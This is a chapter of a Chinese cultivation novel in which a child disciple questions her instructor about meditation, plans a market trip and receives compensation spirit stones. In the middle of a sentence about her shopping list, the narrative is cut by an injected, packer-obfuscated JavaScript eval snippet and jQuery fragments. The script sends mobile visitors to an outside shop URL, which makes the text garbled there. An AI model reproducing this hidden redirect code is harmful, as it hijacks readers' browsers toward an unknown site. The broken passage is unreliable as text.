早课结束后,宋昭瞅准时机,准备去向陈钰请教。
但有另一道身影比她还快。
东门冶丢下蒲团,跑在了宋昭前面,大声道:“陈教习,弟子有一事向您请教。”
看到陈钰颔首,东门冶才恭恭敬敬的背出准备已久的话“弟子几日前已成功悟得第一层,但《吐纳玄解》中说,顶轮与根脉轮,是呼吸吐纳之始,人的神识之力便是由此始,……。弟子着实不解,神识之力是如何控制躯体的?”
宋昭默默的想,她理解的是顶轮的位置是大脑,根脉轮是脊椎,意思是意识通过大脑传递信号给脊椎控制躯体。而‘督脉’就是中枢神经,穴位就是神经元。这么一想她就想通了。
她还有种莫名的预感,昨日若不是被突然打断,她应该已经摸到《吐纳玄解》第二层了。
而今日她打坐调息时,却怎么也找不到当时的那种隐隐约约要破壁的感觉了。
可能需要再次等待时机吧。
修为突破,有时需要顺应天时地利与人和,方可水到渠成。
宋昭并不急迫,她觉得这个时机不会太远。
陈钰沉吟片刻,方道:“人的躯体上脉轮遍布全身,神识通过脉轮控制整个躯体,躯体通过脉轮,被你感知……就好比神识是水流,脉轮就是水渠。”
宋昭将陈钰的解读和她自己的理解相互验证,边听边点头。
陈钰眼带笑意的轻轻瞥了一眼宋昭,这些课上实际上他们都细细讲过,但其中的内容对于幼童来说还是过于晦涩难懂,其中涉及的内容繁杂,包含经脉、穴位、气的流动还有神识。
超过六岁,先天之力早已逸散,便不可修习。而不足六岁的孩童,修炼时却又难以理解吐纳玄解中玄之又玄的奥义。
甚至不少弟子直到六岁也无法进入冥想,不少教习私底下都讨论过,他们认为密宗的《吐纳玄解》应当就不是给普通人练的。
在密宗,他们相信“宿慧”,相信三世因果、业力与轮回,认为今生□□未学过,但上一世早已种下慧种。所以这本《吐纳玄解》就是给有宿慧的人练的。唯独有‘宿慧’之人,方能修得圆满。
但,天底下有宿慧之人未必有灵根,有灵根之人又未必有此聪慧,是以能修圆满的人极少。她当年入宗时,也修习的是《吐纳玄解》,但也仅仅只到第一层。
东门冶似懂非懂的点头,他道:“如果神识要通过脉轮才能‘流动’,那筑基期修士为何能神识外放呢?”
陈钰道:“神识是可以通过修炼变强大的,现在你的神识必须借由经脉行走,但到达筑基期之后,神识便可离体而存。”
“弟子明白了,多谢教习。”东门冶行礼告辞。
陈钰招手喊宋昭过来,宋昭抱着蒲团走过去,然后放下蒲团,再行礼。“陈教习,弟子也有一事请教。”
陈钰看着这些小弟子装作大人模样,就觉得还挺有意思,她笑道:“说罢。”
宋昭就从随身背着的布袋里掏出药包和那张便笺递给了陈钰。
陈钰倒是有点惊讶,她接过便笺看完,又打开药包,仔细看了看里面的药物,又拈起里面的一块石髓闻了闻道:“这是西北镜有名的《玄阳淬体汤方》,汤方早已公之于众,但这阳石髓,极为难得。你伸手,我给你摸摸脉。”
宋昭伸出胳膊,好奇的看着陈钰细细给她把脉,不禁问道:“教习,我们也要学把脉吗?”
陈钰松开手道:“不必,待你修为到了,自然就会了。凡域医者通过号脉,感知的是气血、脉搏、脏腑。我等修士号脉感知的是躯体内的灵气,因此手指一搭,你体内所有的经脉都一清二楚,若有暗疾沉疴,一探便知,我们称之为‘内视外显’。”
“还能通过把脉探知你的修为和所习功法。因此,应有防范之心,不可轻易让他人为你把脉。”
“那修为高的是不是一眼就能看出修为低的人修为境界?”宋昭问道。
陈钰道:“元婴以上修士,可感知金丹以下的修为。而元婴以下,若在对方收敛气息的情况下,想知晓对方修为,需修习望气术。”
“好了,你近日用先天之气温养过,这个药汤正合适,不过要注意每次药浴至少需要间隔十日,药浴时,要使用松、柏、樟类阳木所制的木桶,于阴阳交泰之际使用,功效最佳。切记,不可久泡,颊赤如桃即止。”
她得备一口熬药的大锅,和一个药浴的木桶。这些都是凡器,应当不会太贵吧?
宋昭认真记下,向陈钰道谢,随即又问道:“我可以自己和朋友一起去坊市买点东西吗?”
“不可以。”陈钰断然拒绝道。“没有我领着,你是出不了宗门的。”
看到宋昭眼巴巴的看着她,陈钰唇弯了弯又道:“不过,我原本就打算带你们去见识见识,不如时间就定在这次休沐日吧。”
“多谢陈师姐!”宋昭开心的连称呼都换了。
陈钰不觉一笑。
宋昭回到学舍之后,就把需要购买的东西列了张单子,细细列下来,她的刚需还挺多,宋昭左思右想,颇为苦恼的划掉了两个。
然后询问在学舍的魏蕊和戚扶羽道:“这次休沐日我准备去一趟坊市,你们有什么需要带的吗?”
熟料知晓她要随陈钰师姐去坊市之后,她们两人纷纷道也要去。
魏蕊因当日也是陈钰接引的,语气颇为亲近的道:“我明天就去和陈师姐请示,我和戚扶羽都已经引气入体,如果当日你们学斋去的人多,我们还能帮忙照看一番呢。”
魏蕊在第十六日的时候,终于引气入体,按她所说,她学斋凡是太初域出身的弟子进学宫之前就均已引气入体,而凡人域出身的弟子引起入体最快的花了三天,谢楚莹在第九日的时候成功,不过他们分别是一二品灵根,速度自然最快。
如魏蕊一般四品灵根的弟子,则大多在十五至二十日的时间成功。
“行。”宋昭点点头。
而魏蕊和戚扶羽已经在盘算着要买什么了,戚扶羽要购买的东西对宋昭而言完全不具备参考性。
什么百迭裙,什么钗子,花冠……一听就是她买不起的。
倒是魏蕊要买的东西,也是她所需。
比如针线,可以给自己补补衣裳,而且她今日和魏蕊借绣花针才知晓,魏蕊也没有,她之前衣服破口,是和谢楚莹借的绣花针。
再比如鞋子,她是得再买两双鞋了。
宋昭刷刷的又在购买清单上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811727|210870||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
加了两笔。
宋昭在心里估算了一下,大概要花多少,她最多只能花一颗灵石,得攒两颗。
谁知,没过两日,宋昭便收到了一大笔灵石。
这日晚课结束后,宋昭和柯惊澜两人在学舍之中看书,其余两人还未回来。
余舍长便领着一名身着藏青色道袍的女修士进来了。
那女修微微一笑,看着宋昭三言两语就说明了来意“我是内务堂弟子,今日来此,是为宋昭师妹送赔偿。”
宋昭微讶,辟雍宫各位教习近日可是严禁他们议论当日之事,陈钰也特地问过她的情况,给她又叮嘱了一遍。
因此她只知道宗主回宗门了,甘望深卸去了虞衡司堂主之位,其余细节就不得而知了。
她竟然还有赔款吗?宋昭搬来椅子欲请对方坐下说话。
那女修一笑,她环视了一眼学舍,手一挥,东西就出现在宋昭的书桌之上。“我还有其余去处要去,就不多待了。这里是一百颗下品灵石,一盒跌打损伤膏和一瓶聚气丹。宋师妹点一点,足数的话,请在此处签押收讫。”
宋昭见此,便当着对方面清点签押了。
待女修士一走,余舍长拿过桌上的聚气丹一看,惊讶道:“这聚气丹竟然是难得的八成丹,在丹药之中也算是中品,这么一瓶没有个两百灵石买不到。”
宋昭惊讶极了,那丹药仅有二十四颗,竟值两百灵石?
余舍长拿着丹药笑眯眯的道:“宋姑娘,你要引气入体还要等个两年,不若将这瓶丹药让给我如何?我愿以市价两百灵石购入。”
余舍长对于她学舍里的这些弟子的状况,已经摸了个清清楚楚,宋昭入宗门之前,可就一身破衣裳,身上是半点银钱也无,将这丹药卖给她岂不是正好?
却没想到,宋昭摇摇头拒绝了,而且还是毫无迟疑的坚定拒绝。“不了,我不准备卖出。”
余舍长一楞,看着宋昭,这才放下丹药,颇有几分讪讪地道:“也是,这丹药成色这么好,留着也不错。内务堂此次出手竟如此大方,宋姑娘你也是因祸得福了。”
内务堂明面上只说宋昭在宗门内被音爆所伤,实属无辜,这是宗门拨付的赔偿。
余舍长便觉得只是受点小伤,便能得到一笔不菲的报酬,实在是划算至极。
但,此时正在学舍之中,听到此言的柯惊澜,便觉得这话有些刺耳。不过是几百下品灵石而已,比起那般命悬一线的祸事,怎能称得上是福。
而且她也不喜对方方才未经过宋昭同意,便拿了丹药查看的行为。
待余舍长一离开,她便对宋昭道:“往后得了什么东西,要避着些余舍长。”
她看着宋昭清澈的眼睛,顿了顿道:“不是说她不好,而是是非人心,不可试,行有不得,反求诸己①。与其事后感叹,不若一开始就避免诱因。”
宋昭若有所思,点头。平日里余舍长为人其实还不错,并不对她们差别对待,但方才她确实也觉得对方举动有些不太妥当,对方可能觉得她年纪小,不自觉间就略有过线。
柯惊澜见宋昭似乎能听进她的劝告,才又道:“今日这些东西收好,也莫要宣扬。”
宋昭笑道:“我知道了。”